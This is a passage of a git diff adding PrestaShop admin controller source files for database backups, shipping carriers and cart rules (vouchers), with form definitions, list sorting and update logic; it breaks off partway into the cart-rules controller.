'._DB_PREFIX_.'connections_page, '._DB_PREFIX_.'connections_source, '. + _DB_PREFIX_.'guest, '._DB_PREFIX_.'statssearch', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_BACKUP_DROP_TABLE' => array( + 'title' => $this->l('Drop existing tables during import'), + 'desc' => $this->l('If enabled, the backup script will drop your tables prior to restoring data.'). + '<br />(ie. "DROP TABLE IF EXISTS")', + 'cast' => 'intval', + 'type' => 'bool' + ) + ), + 'submit' => array() + ), + ); + } + + public function renderList() + { + $this->addRowAction('view'); + $this->addRowAction('delete'); + + return parent::renderList(); + } + + public function renderView() + { + if (!($object = $this->loadObject())) + $this->errors[] = Tools::displayError('The object could not be loaded.'); + + if ($object->id) + $this->tpl_view_vars = array('url_backup' => $object->getBackupURL()); + else if ($object->error) + $this->errors[] = $object->error; + + return parent::renderView(); + } + + public function initViewDownload() + { + $this->tpl_folder = $this->tpl_folder.'download/'; + + return parent::renderView(); + } + + public function initToolbar() + { + switch ($this->display) + { + case 'add': + case 'edit': + case 'view': + $this->toolbar_btn['cancel'] = array( + 'href' => self::$currentIndex.'&token='.$this->token, + 'desc' => $this->l('Cancel') + ); + break; + case 'options': + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + break; + } + } + + public function initContent() + { + if ($this->display == 'add') + $this->display = 'list'; + + return parent::initContent(); + } + + /** + * Load class object using identifier in $_GET (if possible) + * otherwise return an empty object + * This method overrides the one in AdminTab because AdminTab assumes the id is a UnsignedInt + * "Backups" Directory in admin directory must be writeable (CHMOD 777) + * @param boolean $opt Return an empty object if load fail + * @return object + */ + protected function loadObject($opt = false) + { + if ($id = Tools::getValue($this->identifier)) + return new $this->className($id); + return new $this->className(); + } + + public function postProcess() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + /* PrestaShop demo mode*/ + + // Test if the backup dir is writable + if (!is_writable(_PS_ADMIN_DIR_.'/backups/')) + $this->warnings[] = $this->l('The "Backups" directory located in the admin directory must be writeable (CHMOD 755 / 777)'); + + if ($this->display == 'add' && is_writable(_PS_ADMIN_DIR_.'/backups/')) + { + if (($object = $this->loadObject())) + { + if (!$object->add()) + $this->errors[] = $object->error; + else + $this->context->smarty->assign(array( + 'conf' => $this->l('It appears the backup was successful, however you must download and carefully verify the backup file before proceeding. '), + 'backup_url' => $object->getBackupURL(), + 'backup_weight' => number_format((filesize($object->id) * 0.000001), 2, '.', '') + )); + } + } + + parent::postProcess(); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = null) + { + if (!Validate::isTableOrIdentifier($this->table)) + die('filter is corrupted'); + if (empty($order_by)) + $order_by = Tools::getValue($this->table.'Orderby', $this->_defaultOrderBy); + if (empty($order_way)) + $order_way = Tools::getValue($this->table.'Orderway', 'ASC'); + + // Try and obtain getList arguments from $_GET + $order_by = Tools::getValue($this->table.'Orderby'); + $order_way = Tools::getValue($this->table.'Orderway'); + + // Validate the orderBy and orderWay fields + switch ($order_by) + { + case 'filename': + case 'filesize': + case 'date': + case 'age': + break; + default: + $order_by = 'date'; + } + switch ($order_way) + { + case 'asc': + case 'desc': + break; + default: + $order_way = 'desc'; + } + if (empty($limit)) + $limit = ((!isset($this->context->cookie->{$this->table.'_pagination'})) ? $this->_pagination[0] : $limit = $this->context->cookie->{$this->table.'_pagination'}); + $limit = (int)Tools::getValue('pagination', $limit); + $this->context->cookie->{$this->table.'_pagination'} = $limit; + + /* Determine offset from current page */ + if (!empty($_POST['submitFilter'.$this->table]) && is_numeric($_POST['submitFilter'.$this->table])) + $start = (int)$_POST['submitFilter'.$this->table] - 1 * $limit; + $this->_lang = (int)$id_lang; + $this->_orderBy = $order_by; + $this->_orderWay = strtoupper($order_way); + $this->_list = array(); + + // Find all the backups + $dh = @opendir(_PS_ADMIN_DIR_.'/backups/'); + if ($dh === false) + { + $this->errors[] = Tools::displayError('Unable to open backup directory.').addslashes(_PS_ADMIN_DIR_.'/backups/').'"'; + return; + } + while (($file = readdir($dh)) !== false) + { + if (preg_match('/^([\d]+-[a-z\d]+)\.sql(\.gz|\.bz2)?$/', $file, $matches) == 0) + continue; + $timestamp = (int)$matches[1]; + $date = date('Y-m-d H:i:s', $timestamp); + $age = time() - $timestamp; + if ($age < 3600) + $age = '< 1 '.$this->l('Hour'); + else if ($age < 86400) + { + $age = floor($age / 3600); + $age = $age.' '.(($age == 1) ? $this->l('Hour') : $this->l('Hours')); + } + else + { + $age = floor($age / 86400); + $age = $age.' '.(($age == 1) ? $this->l('Day') : $this->l('Days')); + } + $size = filesize(_PS_ADMIN_DIR_.'/backups/'.$file); + $this->_list[] = array( + 'filename' => $file, + 'age' => $age, + 'date' => $date, + 'filesize' => number_format($size / 1000, 2).' Kb', + 'timestamp' => $timestamp, + 'filesize_sort' => $size, + ); + } + closedir($dh); + $this->_listTotal = count($this->_list); + + // Sort the _list based on the order requirements + switch ($this->_orderBy) + { + case 'filename': + $this->sort_by = 'filename'; + $sorter = 'strSort'; + break; + case 'filesize': + $this->sort_by = 'filesize_sort'; + $sorter = 'intSort'; + break; + case 'age': + case 'date': + $this->sort_by = 'timestamp'; + $sorter = 'intSort'; + break; + } + usort($this->_list, array($this, $sorter)); + $this->_list = array_slice($this->_list, $start, $limit); + } + + public function intSort($a, $b) + { + return $this->_orderWay == 'ASC' ? $a[$this->sort_by] - $b[$this->sort_by] : $b[$this->sort_by] - $a[$this->sort_by]; + } + + public function strSort($a, $b) + { + return $this->_orderWay == 'ASC' ? strcmp($a[$this->sort_by], $b[$this->sort_by]) : strcmp($b[$this->sort_by], $a[$this->sort_by]); + } +} diff --git a/controllers/admin/AdminCarriersController.php b/controllers/admin/AdminCarriersController.php new file mode 100755 index 0000000..84a51b0 --- /dev/null +++ b/controllers/admin/AdminCarriersController.php @@ -0,0 +1,701 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCarriersControllerCore extends AdminController +{ + protected $position_identifier = 'id_carrier'; + + public function __construct() + { + $this->table = 'carrier'; + $this->className = 'Carrier'; + $this->lang = false; + $this->deleted = true; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_defaultOrderBy = 'position'; + + $this->context = Context::getContext(); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Are you sure that you want to delete the selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')) + ); + + $this->fieldImageSettings = array( + 'name' => 'logo', + 'dir' => 's' + ); + + $this->fields_list = array( + 'id_carrier' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto' + ), + 'image' => array( + 'title' => $this->l('Logo'), + 'align' => 'center', + 'image' => 's', + 'orderby' => false, + 'search' => false, + 'width' => 120 + ), + 'delay' => array( + 'title' => $this->l('Delay'), + 'width' => 300, + 'orderby' => false + ), + 'active' => array( + 'title' => $this->l('Status'), + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false, + 'width' => 25 + ), + 'is_free' => array( + 'title' => $this->l('Free Shipping'), + 'align' => 'center', + 'icon' => array( + 0 => 'disabled.gif', + 1 => 'enabled.gif', + 'default' => 'disabled.gif' + ), + 'type' => 'bool', + 'orderby' => false, + 'width' => 150 + ), + 'position' => array( + 'title' => $this->l('Position'), + 'width' => 40, + 'filter_key' => 'a!position', + 'align' => 'center', + 'position' => 'position' + ) + ); + + $carrier_default_sort = array( + array('value' => Carrier::SORT_BY_PRICE, 'name' => $this->l('Price')), + array('value' => Carrier::SORT_BY_POSITION, 'name' => $this->l('Position')) + ); + + $carrier_default_order = array( + array('value' => Carrier::SORT_BY_ASC, 'name' => $this->l('Ascending')), + array('value' => Carrier::SORT_BY_DESC, 'name' => $this->l('Descending')) + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Carrier options'), + 'fields' => array( + 'PS_CARRIER_DEFAULT' => array( + 'title' => $this->l('Default carrier:'), + 'desc' => $this->l('Your shop\'s default carrier'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'id_carrier', + 'list' => array_merge( + array( + -1 => array('id_carrier' => -1, 'name' => $this->l('Best price')), + -2 => array('id_carrier' => -2, 'name' => $this->l('Best grade')) + ), + Carrier::getCarriers((int)Configuration::get('PS_LANG_DEFAULT'), true, false, false, null, Carrier::ALL_CARRIERS)) + ), + 'PS_CARRIER_DEFAULT_SORT' => array( + 'title' => $this->l('Sort by:'), + 'desc' => $this->l('This will only be visible in the Front Office'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'value', + 'list' => $carrier_default_sort + ), + 'PS_CARRIER_DEFAULT_ORDER' => array( + 'title' => $this->l('Order by:'), + 'desc' => $this->l('This will only be visible in the Front Office'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'value', + 'list' => $carrier_default_order + ), + ), + 'submit' => array() + ) + ); + + parent::__construct(); + } + + public function renderList() + { + $this->displayInformation( + ' <b>'.$this->l('How do I create a new carrier?').'</b> + <br /> + <ul> + <li>'.$this->l('Click "Add New."').'<br /></li> + <li>'.$this->l('Fill in the fields and click "Save."').'</li> + <li>'. + $this->l('You need to set a price range -- or weight range -- for which the new carrier will be available.').' '. + $this->l('Under the "Shipping" menu, click either "Price ranges" or "Weight ranges.".').' + </li> + <li>'.$this->l('Click "Add New."').'</li> + <li>'. + $this->l('Select the name of the carrier before defining the price or weight range.').' '. + $this->l('For example, the carrier can be made available for a weight range between 0 and 5lbs. Another carrier can have a range between 5 and 10lbs.').' + </li> + <li>'.$this->l('When you\'re done, click "Save."').'</li> + <li>'.$this->l('Click on the "Shipping" menu.').'</li> + <li>'. + $this->l('You need to set the fees that will be applied for this carrier.').' '. + $this->l('At the bottom on the page -- in the "Fees" section -- select the name of the carrier.').' + </li> + <li>'.$this->l('For each zone, enter a price and then click "Save."').'</li> + <li>'.$this->l('You\'re all set! The new carrier will now be displayed to customers.').'</li> + </ul>' + ); + $this->_select = 'b.*'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'carrier_lang` b ON a.id_carrier = b.id_carrier'.Shop::addSqlRestrictionOnLang('b').' + LEFT JOIN `'._DB_PREFIX_.'carrier_tax_rules_group_shop` ctrgs ON (a.`id_carrier` = ctrgs.`id_carrier` + AND ctrgs.id_shop='.(int)$this->context->shop->id.')'; + $this->_where = 'AND b.id_lang = '.$this->context->language->id; + + return parent::renderList(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Carriers:'), + 'image' => '../img/admin/delivery.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Company:'), + 'name' => 'name', + 'size' => 25, + 'required' => true, + 'hint' => sprintf($this->l('Allowed characters: letters, spaces and %s'), '().-'), + 'desc' => array( + $this->l('Carrier name displayed during checkout'), + $this->l('For in-store pickup, enter 0 to replace the carrier name with your shop name.') + ) + ), + array( + 'type' => 'file', + 'label' => $this->l('Logo:'), + 'name' => 'logo', + 'desc' => $this->l('Upload a logo from your computer.').' (.gif, .jpg, .jpeg '.$this->l('or').' .png)' + ), + array( + 'type' => 'text', + 'label' => $this->l('Transit time:'), + 'name' => 'delay', + 'lang' => true, + 'required' => true, + 'size' => 41, + 'maxlength' => 128, + 'desc' => $this->l('Estimated delivery time will be displayed during checkout.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Speed Grade:'), + 'name' => 'grade', + 'required' => false, + 'size' => 1, + 'desc' => $this->l('Enter "0" for a longest shipping delay, or "9" for the shortest shipping delay.') + ), + array( + 'type' => 'text', + 'label' => $this->l('URL:'), + 'name' => 'url', + 'size' => 40, + 'desc' => $this->l('Delivery tracking URL: Type \'@\' where the tracking number should appear. It will then be automatically replaced by the tracking number.') + ), + array( + 'type' => 'checkbox', + 'label' => $this->l('Zone:'), + 'name' => 'zone', + 'values' => array( + 'query' => Zone::getZones(false), + 'id' => 'id_zone', + 'name' => 'name' + ), + 'desc' => $this->l('The zones in which this carrier will be used') + ), + array( + 'type' => 'group', + 'label' => $this->l('Group access:'), + 'name' => 'groupBox', + 'values' => Group::getGroups(Context::getContext()->language->id), + 'desc' => $this->l('Mark the groups that are allowed access to this carrier.') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Enable the carrier in the Front Office') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Apply shipping cost:'), + 'name' => 'is_free', + 'required' => false, + 'class' => 't', + 'values' => array( + array( + 'id' => 'is_free_on', + 'value' => 0, + 'label' => '<img src="../img/admin/enabled.gif" alt="'.$this->l('Yes').'" title="'.$this->l('Yes').'" />' + ), + array( + 'id' => 'is_free_off', + 'value' => 1, + 'label' => '<img src="../img/admin/disabled.gif" alt="'.$this->l('No').'" title="'.$this->l('No').'" />' + ) + ), + 'desc' => $this->l('Apply both regular shipping cost and product-specific shipping costs.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Tax:'), + 'name' => 'id_tax_rules_group', + 'options' => array( + 'query' => TaxRulesGroup::getTaxRulesGroups(true), + 'id' => 'id_tax_rules_group', + 'name' => 'name', + 'default' => array( + 'label' => $this->l('No Tax'), + 'value' => 0 + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Shipping and handling:'), + 'name' => 'shipping_handling', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'shipping_handling_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'shipping_handling_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Include the shipping and handling costs in the carrier price.') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Billing:'), + 'name' => 'shipping_method', + 'required' => false, + 'class' => 't', + 'br' => true, + 'values' => array( + array( + 'id' => 'billing_default', + 'value' => Carrier::SHIPPING_METHOD_DEFAULT, + 'label' => $this->l('Default behavior') + ), + array( + 'id' => 'billing_price', + 'value' => Carrier::SHIPPING_METHOD_PRICE, + 'label' => $this->l('According to total price') + ), + array( + 'id' => 'billing_weight', + 'value' => Carrier::SHIPPING_METHOD_WEIGHT, + 'label' => $this->l('According to total weight') + ) + ) + ), + array( + 'type' => 'select', + 'label' => $this->l('Out-of-range behavior:'), + 'name' => 'range_behavior', + 'options' => array( + 'query' => array( + array( + 'id' => 0, + 'name' => $this->l('Apply the cost of the highest defined range') + ), + array( + 'id' => 1, + 'name' => $this->l('Disable carrier') + ) + ), + 'id' => 'id', + 'name' => 'name' + ), + 'desc' => $this->l('Out-of-range behavior occurs when none is defined (e.g. when a customer\'s cart weight is greater than the highest range limit)') + ), + array( + 'type' => 'text', + 'label' => $this->l('Maximium package height:'), + 'name' => 'max_height', + 'required' => false, + 'size' => 10, + 'desc' => $this->l('Maximum height managed by this carrier. Set the value to "0," or leave this field blank to ignore.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Maximium package width:'), + 'name' => 'max_width', + 'required' => false, + 'size' => 10, + 'desc' => $this->l('Maximum width managed by this carrier. Set the value to "0," or leave this field blank to ignore.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Maximium package depth:'), + 'name' => 'max_depth', + 'required' => false, + 'size' => 10, + 'desc' => $this->l('Maximum depth managed by this carrier. Set the value to "0," or leave this field blank to ignore.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Maximium package weight:'), + 'name' => 'max_weight', + 'required' => false, + 'size' => 10, + 'desc' => $this->l('Maximum weight managed by this carrier. Set the value to "0," or leave this field blank to ignore.') + ), + array( + 'type' => 'hidden', + 'name' => 'is_module' + ), + array( + 'type' => 'hidden', + 'name' => 'external_module_name', + ), + array( + 'type' => 'hidden', + 'name' => 'shipping_external' + ), + array( + 'type' => 'hidden', + 'name' => 'need_range' + ), + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + if (!($obj = $this->loadObject(true))) + return; + + $this->getFieldsValues($obj); + return parent::renderForm(); + } + + public function postProcess() + { + if (Tools::getValue('submitAdd'.$this->table)) + { + /* Checking fields validity */ + $this->validateRules(); + if (!count($this->errors)) + { + $id = (int)Tools::getValue('id_'.$this->table); + + /* Object update */ + if (isset($id) && !empty($id)) + { + try { + if ($this->tabAccess['edit'] === '1') + { + $current_carrier = new Carrier($id); + if (!Validate::isLoadedObject($current_carrier)) + throw new PrestaShopException('Cannot load Carrier object'); + + // Duplicate current Carrier + $new_carrier = $current_carrier->duplicateObject(); + if (Validate::isLoadedObject($new_carrier)) + { + // Set flag deteled to true for historization + $current_carrier->deleted = true; + $current_carrier->update(); + + // Fill the new carrier object + $this->copyFromPost($new_carrier, $this->table); + $new_carrier->position = $current_carrier->position; + $new_carrier->update(); + + $this->updateAssoShop($new_carrier->id); + $new_carrier->copyCarrierData((int)$current_carrier->id); + $this->changeGroups($new_carrier->id); + // Call of hooks + Hook::exec('actionCarrierUpdate', array( + 'id_carrier' => (int)$current_carrier->id, + 'carrier' => $new_carrier + )); + $this->postImage($new_carrier->id); + $this->changeZones($new_carrier->id); + $new_carrier->setTaxRulesGroup((int)Tools::getValue('id_tax_rules_group')); + Tools::redirectAdmin(self::$currentIndex.'&id_'.$this->table.'='.$current_carrier->id.'&conf=4&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating an object.').' <b>'.$this->table.'</b>'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } catch (PrestaShopException $e) { + $this->errors[] = $e->getMessage(); + } + } + + /* Object creation */ + else + { + if ($this->tabAccess['add'] === '1') + { + // Create new Carrier + $carrier = new Carrier(); + $this->copyFromPost($carrier, $this->table); + $carrier->position = Carrier::getHigherPosition() + 1; + if ($carrier->add()) + { + if (($_POST['id_'.$this->table] = $carrier->id /* voluntary */) && $this->postImage($carrier->id) && $this->_redirect) + { + $carrier->setTaxRulesGroup((int)Tools::getValue('id_tax_rules_group'), true); + $this->changeZones($carrier->id); + $this->changeGroups($carrier->id); + $this->updateAssoShop($carrier->id); + Tools::redirectAdmin(self::$currentIndex.'&id_'.$this->table.'='.$carrier->id.'&conf=3&token='.$this->token); + } + } + else + $this->errors[] = Tools::displayError('An error occurred while creating an object.').' <b>'.$this->table.'</b>'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + } + parent::postProcess(); + } + else if ((isset($_GET['status'.$this->table]) || isset($_GET['status'])) && Tools::getValue($this->identifier)) + { + if ($this->tabAccess['edit'] === '1') + { + if (Tools::getValue('id_carrier') == Configuration::get('PS_CARRIER_DEFAULT')) + $this->errors[] = Tools::displayError('You cannot disable the default carrier, however you can change your defeault carrier. '); + else + parent::postProcess(); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else + { + if ((Tools::isSubmit('submitDel'.$this->table) && in_array(Configuration::get('PS_CARRIER_DEFAULT'), Tools::getValue('carrierBox'))) + || (isset($_GET['delete'.$this->table]) && Tools::getValue('id_carrier') == Configuration::get('PS_CARRIER_DEFAULT'))) + $this->errors[] = $this->l('Please set another carrier as default before deleting this one.'); + else + { + // if deletion : removes the carrier from the warehouse/carrier association + if (Tools::isSubmit('delete'.$this->table)) + { + $id = (int)Tools::getValue('id_'.$this->table); + // Delete from the reference_id and not from the carrier id + $carrier = new Carrier((int)$id); + Warehouse::removeCarrier($carrier->id_reference); + } + else if (Tools::isSubmit($this->table.'Box') && count(Tools::isSubmit($this->table.'Box')) > 0) + { + $ids = Tools::getValue($this->table.'Box'); + array_walk($ids, 'intval'); + foreach ($ids as $id) + { + // Delete from the reference_id and not from the carrier id + $carrier = new Carrier((int)$id); + Warehouse::removeCarrier($carrier->id_reference); + } + } + parent::postProcess(); + Carrier::cleanPositions(); + } + } + } + + /** + * Overload the property $fields_value + * + * @param object $obj + */ + public function getFieldsValues($obj) + { + if ($this->getFieldValue($obj, 'is_module')) + $this->fields_value['is_module'] = 1; + + if ($this->getFieldValue($obj, 'shipping_external')) + $this->fields_value['shipping_external'] = 1; + + if ($this->getFieldValue($obj, 'need_range')) + $this->fields_value['need_range'] = 1; + // Added values of object Zone + $carrier_zones = $obj->getZones(); + $carrier_zones_ids = array(); + if (is_array($carrier_zones)) + foreach ($carrier_zones as $carrier_zone) + $carrier_zones_ids[] = $carrier_zone['id_zone']; + + $zones = Zone::getZones(false); + foreach ($zones as $zone) + $this->fields_value['zone_'.$zone['id_zone']] = Tools::getValue('zone_'.$zone['id_zone'], (in_array($zone['id_zone'], $carrier_zones_ids))); + + // Added values of object Group + $carrier_groups = $obj->getGroups(); + $carrier_groups_ids = array(); + if (is_array($carrier_groups)) + foreach ($carrier_groups as $carrier_group) + $carrier_groups_ids[] = $carrier_group['id_group']; + + $groups = Group::getGroups($this->context->language->id); + + foreach ($groups as $group) + $this->fields_value['groupBox_'.$group['id_group']] = Tools::getValue('groupBox_'.$group['id_group'], (in_array($group['id_group'], $carrier_groups_ids) || empty($carrier_groups_ids) && !$obj->id)); + + $this->fields_value['id_tax_rules_group'] = $this->object->getIdTaxRulesGroup($this->context); + } + + protected function beforeDelete($object) + { + return $object->isUsed(); + } + + protected function changeGroups($id_carrier, $delete = true) + { + if ($delete) + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'carrier_group WHERE id_carrier = '.(int)$id_carrier); + $groups = Db::getInstance()->executeS('SELECT id_group FROM `'._DB_PREFIX_.'group`'); + foreach ($groups as $group) + if (Tools::getIsset('groupBox') && in_array($group['id_group'], Tools::getValue('groupBox'))) + Db::getInstance()->execute(' + INSERT INTO '._DB_PREFIX_.'carrier_group (id_group, id_carrier) + VALUES('.(int)$group['id_group'].','.(int)$id_carrier.') + '); + } + + public function changeZones($id) + { + $carrier = new $this->className($id); + if (!Validate::isLoadedObject($carrier)) + die (Tools::displayError('The object cannot be loaded.')); + $zones = Zone::getZones(false); + foreach ($zones as $zone) + if (count($carrier->getZone($zone['id_zone']))) + { + if (!isset($_POST['zone_'.$zone['id_zone']]) || !$_POST['zone_'.$zone['id_zone']]) + $carrier->deleteZone($zone['id_zone']); + } + else + if (isset($_POST['zone_'.$zone['id_zone']]) && $_POST['zone_'.$zone['id_zone']]) + $carrier->addZone($zone['id_zone']); + } + + /** + * Modifying initial getList method to display position feature (drag and drop) + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + foreach ($this->_list as $key => $list) + if ($list['name'] == '0') + $this->_list[$key]['name'] = Configuration::get('PS_SHOP_NAME'); + } + + public function ajaxProcessUpdatePositions() + { + $way = (int)(Tools::getValue('way')); + $id_carrier = (int)(Tools::getValue('id')); + $positions = Tools::getValue($this->table); + + foreach ($positions as $position => $value) + { + $pos = explode('_', $value); + + if (isset($pos[2]) && (int)$pos[2] === $id_carrier) + { + if ($carrier = new Carrier((int)$pos[2])) + if (isset($position) && $carrier->updatePosition($way, $position)) + echo 'ok position '.(int)$position.' for carrier '.(int)$pos[1].'\r\n'; + else + echo '{"hasError" : true, "errors" : "Can not update carrier '.(int)$id_carrier.' to position '.(int)$position.' "}'; + else + echo '{"hasError" : true, "errors" : "This carrier ('.(int)$id_carrier.') can t be loaded"}'; + + break; + } + } + } + +} + + diff --git a/controllers/admin/AdminCartRulesController.php b/controllers/admin/AdminCartRulesController.php new file mode 100755 index 0000000..3cae2ec --- /dev/null +++ b/controllers/admin/AdminCartRulesController.php @@ -0,0 +1,585 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCartRulesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'cart_rule'; + $this->className = 'CartRule'; + $this->lang = true; + $this->addRowAction('delete'); + $this->addRowAction('edit'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_cart_rule' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'name' => array('title' => $this->l('Name')), + 'priority' => array('title' => $this->l('Priority')), + 'code' => array('title' => $this->l('Code')), + 'quantity' => array('title' => $this->l('Quantity')), + 'date_to' => array('title' => $this->l('Until')), + 'active' => array('title' => $this->l('Status'), 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false), + ); + + parent::__construct(); + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryPlugin(array('typewatch', 'fancybox', 'autocomplete')); + } + + public function postProcess() + { + if (Tools::isSubmit('submitAddcart_rule') || Tools::isSubmit('submitAddcart_ruleAndStay')) + { + // If the reduction is associated to a specific product, then it must be part of the product restrictions + if ((int)Tools::getValue('reduction_product') && Tools::getValue('apply_discount_to') == 'specific' && Tools::getValue('apply_discount') != 'off') + { + $reduction_product = (int)Tools::getValue('reduction_product'); + + // First, check if it is not already part of the restrictions + $already_restricted = false; + if (is_array($rule_group_array = Tools::getValue('product_rule_group')) && count($rule_group_array) && Tools::getValue('product_restriction')) + foreach ($rule_group_array as $rule_group_id) + if (is_array($rule_array = Tools::getValue('product_rule_'.$rule_group_id)) && count($rule_array)) + foreach ($rule_array as $rule_id) + if (Tools::getValue('product_rule_'.$rule_group_id.'_'.$rule_id.'_type') == 'products' + && in_array($reduction_product, Tools::getValue('product_rule_select_'.$rule_group_id.'_'.$rule_id))) + { + $already_restricted = true; + break 2; + } + + if ($already_restricted == false) + { + // Check the product restriction + $_POST['product_restriction'] = 1; + + // Add a new rule group + $rule_group_id = 1; + if (is_array($rule_group_array)) + { + // Empty for (with a ; at the end), that just find the first rule_group_id available in rule_group_array + for ($rule_group_id = 1; in_array($rule_group_id, $rule_group_array); ++$rule_group_id) + 42; + $_POST['product_rule_group'][] = $rule_group_id; + } + else + $_POST['product_rule_group'] = array($rule_group_id); + + // Set a quantity of 1 for this new rule group + $_POST['product_rule_group_'.$rule_group_id.'_quantity'] = 1; + // Add one rule to the new rule group + $_POST['product_rule_'.$rule_group_id] = array(1); + // Set a type 'product' for this 1 rule + $_POST['product_rule_'.$rule_group_id.'_1_type'] = 'products'; + // Add the product in the selected products + $_POST['product_rule_select_'.$rule_group_id.'_1'] = array($reduction_product); + } + } + + // These are checkboxes (which aren't sent through POST when they are not check), so they are forced to 0 + foreach (array('country', 'carrier', 'group', 'cart_rule', 'product', 'shop') as $type) + if (!Tools::getValue($type.'_restriction')) + $_POST[$type.'_restriction'] = 0; + + // Remove the gift if the radio button is set to "no" + if (!(int)Tools::getValue('free_gift')) + $_POST['gift_product'] = 0; + + // Retrieve the product attribute id of the gift (if available) + if ($id_product = (int)Tools::getValue('gift_product')) + $_POST['gift_product_attribute'] = (int)Tools::getValue('ipa_'.$id_product); + + // Idiot-proof control + if (strtotime(Tools::getValue('date_from')) > strtotime(Tools::getValue('date_to'))) + $this->errors[] = Tools::displayError('The voucher cannot end before it begins.'); + if ((int)Tools::getValue('minimum_amount') < 0) + $this->errors[] = Tools::displayError('The minimum amount cannot be lower than zero.'); + if ((float)Tools::getValue('reduction_percent') < 0 || (float)Tools::getValue('reduction_percent') > 100) + $this->errors[] = Tools::displayError('Reduction percent must be between 0% and 100%'); + if ((int)Tools::getValue('reduction_amount') < 0) + $this->errors[] = Tools::displayError('Reduction amount cannot be lower than zero.'); + if (Tools::getValue('code') && ($same_code = (int)CartRule::getIdByCode(Tools::getValue('code'))) && $same_code != Tools::getValue('id_cart_rule')) + $this->errors[] = sprintf(Tools::displayError('This cart rule code is already used (conflict with cart rule %d)'), $same_code); + } + + return parent::postProcess(); + } + + protected function afterUpdate($current_object) + { + // All the associations are deleted for an update, then recreated when we call the "afterAdd" method + $id_cart_rule = Tools::getValue('id_cart_rule'); + foreach (array('country', 